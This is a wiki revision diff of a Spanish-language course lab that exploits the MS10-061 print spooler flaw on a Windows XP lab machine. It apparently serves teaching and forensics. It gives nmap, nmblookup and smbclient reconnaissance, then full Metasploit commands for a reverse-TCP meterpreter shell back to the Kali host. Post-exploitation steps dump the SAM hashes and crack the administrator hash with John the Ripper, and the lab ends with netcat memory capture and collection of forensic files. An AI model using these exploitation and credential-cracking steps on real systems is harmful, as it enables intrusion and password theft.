Muestra las diferencias entre dos versiones de la página.
Próxima revisión | Revisión previa | ||
sad:t2:m4 [2018/12/01 18:17] José Manuel Guallar creado |
sad:t2:m4 [2019/01/10 14:40] (actual) José Manuel Guallar |
||
---|---|---|---|
Línea 1: | Línea 1: | ||
====== Metasploit 4 ====== | ====== Metasploit 4 ====== | ||
- | Escenario | + | **Escenario** |
¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina? Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras. Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior. | ¿Alguna vez ha oído hablar de cómo alguien fue capaz de conectarse a una impresora compartida y más tarde obtener el privilegio de administrador de esa máquina? Bueno, los atacantes pueden usar la técnica que Stuxnet para obtener privilegios para los servidores Windows XP y Windows 2003 que comparten impresoras. Esta lección proporcionará (1) el reconocimiento para ver esta vulnerabilidad potencial, (2) realizar la explotación, y (3) cómo recoger los archivos forenses para una investigación posterior. | ||
- | ¿Qué es Helix? | + | ** ¿Qué es Helix?** |
Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense. Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses. | Helix es una distribución personalizada del CD de Knoppix Live Linux. Se centra en la respuesta de incidentes y la informática forense. Helix es algo más que un CD de arranque en vivo. Con Helix puedes arrancar en un robusto entorno Linux que incluye (1) un kernel Linux personalizable, (2) excelente detección de hardware y (3) muchas aplicaciones dedicadas a la respuesta de incidentes y forenses. | ||
Línea 15: | Línea 15: | ||
El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado. | El directorio de trabajo en ese momento es %SystemRoot%system32. Un atacante puede especificar cualquier nombre de archivo, incluyendo rutas transversales o completas de directorios. Al enviar solicitudes WritePrinter, un atacante puede controlar completamente el contenido del archivo creado. | ||
- | Referencias | + | **Referencias** |
- | http://www.osvdb.org/67988 | + | * http://cvedetails.com/cve/2010-2729/ |
- | http://cvedetails.com/cve/2010-2729/ | + | * https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-061 |
- | http://www.microsoft.com/technet/security/bulletin/MS10-061.mspx | + | |
- | Requisitos para hacer esta practica | + | **Requisitos para hacer esta practica** |
* Maquina XP | * Maquina XP | ||
* Kali | * Kali | ||
- | Post requisitos | + | ** Post requisitos** |
* Volatility | * Volatility | ||
- | Que haremos en esta practica | + | **Que haremos en esta practica** |
* Descargar Helix2008R1 | * Descargar Helix2008R1 | ||
Línea 38: | Línea 37: | ||
Lo primero que tenemos que hacer es navegar a la siguiente URL [[ | Lo primero que tenemos que hacer es navegar a la siguiente URL [[ | ||
- | http://helix.onofri.org/Helix2008R1.iso| HELIX]] y descargar el archivo en el windows 7 | + | http://helix.onofri.org/Helix2008R1.iso| HELIX]] y descargar el archivo en el windows xp |
Abrimos Windows XP y añadimos una impresora, puede ser Canon, HP... | Abrimos Windows XP y añadimos una impresora, puede ser Canon, HP... | ||
+ | {{:sad:t2:m4:01.png?400|}} | ||
+ | {{:sad:t2:m4:02.png?400|}} | ||
+ | {{:sad:t2:m4:03.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:04.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:05.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:06.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:07.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:08.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:09.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:10.png?400|}} | ||
+ | |||
+ | Se abre un terminal Kali y ejecutamos nmap contra el xp | ||
+ | |||
+ | <code> | ||
+ | nmap -sS -sU -O -p137-139,445 ip_xp | ||
+ | </code> | ||
+ | |||
+ | Se observa que el servicio (1) netbios-ssn está abierto el puerto 139/tcp, (2) microsoft-ds es abierto el puerto 445/tcp, y (3) el sistema operativo es Windows XP | ||
+ | |||
+ | Utilizamos el nmap TCP SYN Scan (-sS) y UDP (-sU) para buscar rápidamente en el XP los puertos de NetBios 137 a 139 y 445. Tambien usamos -= (Footprint del sistema operativo), para que nos diga que sistema operativo estamos escaneando | ||
+ | |||
+ | **NetBIOS** es un acrónimo de sistema de entrada/salida básico de red. Ofrece servicios relacionados con la capa de sesión del modelo OSI, lo que permite es que aplicaciones en equipos independientes puedan comunicarse a través de una red de área local | ||
+ | |||
+ | Se utiliza el puerto TCP 445 para acceso directo de red de Microsoft TCP/IP sin necesidad de una capa de NetBIOS. El protocolo SMB (Server Message Block) se utiliza entre otras cosas para archivos compartidos en Windows NT / 2K/XP. | ||
+ | |||
+ | {{:sad:t2:m4:11.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:12.png?400|}} | ||
+ | |||
+ | |||
+ | para buscar los nombre que utiliza la NetBIOS utilizaremos el comando nmblookup que realiza consultas de nombres NetBIOS y asignar direcciones IP en una red con NetBIOS sobre consultas de TCP/IP. Las opciones permiten las consultas de nombre ser dirigido en una determinada área de difusión IP o a una máquina en particular. Como se puede observar WXP es el nombre de estación de trabajo NetBIOS. Ahora tenemos la pieza final de reconocimiento para consulta NetBIOS acciones incluyendo las impresoras. | ||
+ | |||
+ | <code> | ||
+ | nmblookup -A ip_xp | ||
+ | </code> | ||
+ | |||
+ | La linea con el codigo <00> nos indica que es el nombre de la estacion de trabajo segun NetBios | ||
+ | la linea con el codigo <20> nos indica el grupo de trabajo | ||
+ | la linea con el codigo <01> indica el buscador por defecto | ||
+ | |||
+ | El codigo B nos esta indicando que es una red Broadcast | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:13.png?400|}} | ||
+ | |||
+ | ** | ||
+ | Acceso a los recursos SMB** | ||
+ | |||
+ | <code> | ||
+ | smbclient -L \\WXP -I ip_xp -N | ||
+ | </code> | ||
+ | |||
+ | con la opcion (-L) lista los servicios que están disponibles en la estación de trabajo de NetBIOS. | ||
+ | |||
+ | Uso (-I) si el nombre NetBIOS no coincide con el nombre de host DNS de TCP/IP o si están tratando de llegar a un host de otra red. | ||
+ | |||
+ | con (-N) no solicitamos la contraseña | ||
+ | |||
+ | SMB funciona como un protocolo de red de capa de aplicación utilizado principalmente para proporcionar acceso compartido a archivos, impresoras y puertos serie | ||
+ | |||
+ | Lo importante es que está compartiendo impresoras como canon o hp | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:14.png?400|}} | ||
+ | |||
+ | Se inicia el msfconsole | ||
+ | |||
+ | <code> | ||
+ | msfconsole | ||
+ | search ms10_061 | ||
+ | use exploit/windows/smb/ms10_061_spoolss | ||
+ | info | ||
+ | set PAYLOAD windows/meterpreter/reverse_tcp | ||
+ | show options | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:15.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:16.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:17.png?400|}} | ||
+ | |||
+ | {{:sad:t2:m4:18.png?400|}} | ||
+ | |||
+ | <code> | ||
+ | set LHOST ip_kali | ||
+ | set RHOST ip_xp | ||
+ | set PNAME HP (si se ha compartido con otro nombre la impresora con ese) | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:19.png?400|}} | ||
+ | |||
+ | <code> | ||
+ | exploit | ||
+ | </code> | ||
+ | |||
+ | La puerta trasera se escribe en C:\WINDOWS\system32 y se usa para conectar y abrir una puerta trasera por el puerto 4444 en la maquina kali | ||
+ | |||
+ | el programa que ejecuta se llama en este caso **RvOYs3UqrJq07a.exe** | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:20.png?400|}} | ||
+ | |||
+ | |||
+ | <code> | ||
+ | getuid | ||
+ | getpid | ||
+ | shell | ||
+ | tasklist /v /fi "PID eq "1876" | ||
+ | Cambia el PID por el que te ha salido con la sentencia getpid | ||
+ | netstat -nao | findstr "1876" | ||
+ | </code> | ||
+ | |||
+ | **getuid** mostrará el usuario que el servidor de meterpreter ejecuta en el xp. Por consiguiente, NT AUTHORITYSYSTEM es la cuenta de administrador. | ||
+ | |||
+ | **getpid** proporciona el identificador de proceso (PID) de la sesión de meterpreter que se ejecuta en la máquina de la víctima. Mi PID es (1876). | ||
+ | |||
+ | **Shell** proporciona acceso de línea de comandos a la máquina Windows. | ||
+ | |||
+ | tasklist, este comando mostrará una lista de aplicaciones y tareas/procesos asociados que se están ejecutando actualmente en el equipo local. | ||
+ | |||
+ | (/v) muestra una lista detallada de procesos; | ||
+ | |||
+ | (/fi) es un filtro; y ( "PID EQ " 1876 ") filtrar o mostrar sólo un PID que coincida con 196. | ||
+ | |||
+ | **netstat** muestra conexiones de red. | ||
+ | |||
+ | (-n) muestra direcciones y números de puerto en forma numérica | ||
+ | |||
+ | (-a) Muestra todas las conexiones y puertos de escucha | ||
+ | |||
+ | (-o) muestra el identificador de proceso propietario asociado a cada conexión. | ||
+ | |||
+ | {{:sad:t2:m4:21.png?400|}} | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:22.png?400|}} | ||
+ | |||
+ | ===== Archivos Forenses Basicos ===== | ||
+ | |||
+ | <code> | ||
+ | tasklist > forense_tasklist.txt | ||
+ | netstat -nao > forense_netstat.txt | ||
+ | dir > forense_dir.txt | ||
+ | exit | ||
+ | </code> | ||
+ | |||
+ | Comando 1, redirige la salida creada por TaskList en un archivo llamado forense_tasklist. txt. | ||
+ | Comando 2, redirige la salida creada por netstat en un archivo llamado forense_netstat. txt. | ||
+ | Comando 3, redirige la salida creada por dir en un archivo llamado forense_dir. txt. | ||
+ | Comando 4, salimos del shell de comandos y vuelva a la solicitud de meterpreter. | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:23.png?400|}} | ||
+ | ** | ||
+ | Obtener la base de datos SAM** | ||
+ | |||
+ | [[https://www.offensive-security.com/metasploit-unleashed/meterpreter-basics]] | ||
+ | |||
+ | El administrador de cuentas de seguridad Security Account Manager (SAM) es un archivo de base de datos en Windows XP, Windows Vista y Windows 7 que almacena las contraseñas de los usuarios | ||
+ | |||
+ | <code> | ||
+ | hashdump | ||
+ | # seleccionamos todo, boton derecho del raton y copiar | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:24.png?400|}} | ||
+ | |||
+ | <code> | ||
+ | gnome-text-editor samhash.txt | ||
+ | # pegamos y guardamos el fichero | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:25.png?400|}} | ||
+ | |||
+ | **Preparacion para la recogida de datos de la memoria** | ||
+ | |||
+ | <code> | ||
+ | mkdir -p /forense/ms10_061 | ||
+ | cd /forense/ms10_061 | ||
+ | nc -l -vvv -p 8888 > ms10_061.dd | ||
+ | </code> | ||
+ | |||
+ | Se crea un directorio llamado forense/ms10_061. Use (-p) para suprimir un error si el directorio ya existe. | ||
+ | |||
+ | Se cambia el directorio en/forense /ms10_061. | ||
+ | |||
+ | Creamos un escucha netcat (-l) en el puerto (-p) 8888 en modo detallado extremo (-vvv) redirigir (>) salida en un archivo (ms10_016.dd) | ||
+ | |||
+ | {{:sad:t2:m4:26.png?400|}} | ||
+ | |||
+ | |||
+ | ===== Memoria del XP ===== | ||
+ | |||
+ | |||
+ | Click en CD/DVD(IDE) | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:27.png?400|}} | ||
+ | |||
+ | Aceptamos pinchamos en la camara | ||
+ | |||
+ | * en origen ponemos Physical Memory | ||
+ | * Localizacion NetCat | ||
+ | * Ip Destino la del Kali | ||
+ | * puerto 8888 | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:28.png?400|}} | ||
+ | |||
+ | En el momento que pulsamos start se empieza la captura de la memoria del xp a través de la red con la red netcat que se ejecuta en Kali | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:29.png?400|}} | ||
+ | |||
+ | La pantalla negra desaparece cuando se haya terminado de copiar toda la memoria | ||
+ | |||
+ | ===== Recuperar archivos del xp. ===== | ||
+ | |||
+ | En el Kali | ||
+ | |||
+ | vemos que una ver terminado nos indica la cantidad de bits de memoria capturada | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:30.png?400|}} | ||
+ | |||
+ | Descarga de los ficheros forenses en el meterpreter | ||
+ | |||
+ | |||
+ | <code> | ||
+ | pwd | ||
+ | download C:\\WINDOWS\\system32\\forense_tasklist.txt /forense/ms10_061/ | ||
+ | download C:\\WINDOWS\\system32\\forense_netstat.txt /forense/ms10_061/ | ||
+ | download C:\\WINDOWS\\system32\\forense_dir.txt /forense/ms10_061/ | ||
+ | download C:\\WINDOWS\\system32\\RvOYs3UqrJqo7a.exe /forense/ms10_061/ | ||
+ | </code> | ||
+ | |||
+ | |||
+ | RvOYs3UqrJqo7a.exe en vuestro caso el que se haya creado en el ordenador | ||
+ | |||
+ | |||
+ | |||
+ | {{:sad:t2:m4:31.png?400|}} | ||
+ | |||
+ | En otra ventana de terminal ejecutaremos un John The Ripper | ||
+ | |||
+ | <code> | ||
+ | cp /samhash.txt . | ||
+ | grep -i admin samhash.txt > adminhash.txt | ||
+ | # cat /dev/null > /root/.john/john.pot (no) | ||
+ | john --format=nt adminhash.txt | ||
+ | </code> | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:32.png?400|}} | ||
+ | |||
+ | |||
+ | {{:sad:t2:m4:33.png?400|}} | ||
+ | |||
+ | print de pantalla final que hay que entregar | ||
+ | |||
+ | |||
+ | <code> | ||
+ | ls -lrta | ||
+ | grep "4444" *.txt | ||
+ | grep "1876" forense_tasklist.txt | ||
+ | # Reemplazalo por tu PID | ||
+ | grep "RvOYs3UqrJqo7a.exe" forense_tasklist.txt | ||
+ | grep "RvOYs3UqrJqo7a.exe" forense_dir.txt | ||
+ | # Reemplaza (RvOYs3UqrJqo7a.exe) por tu programa malicioso | ||
+ | date | ||
+ | echo "Tu nombre" | ||
+ | </code> | ||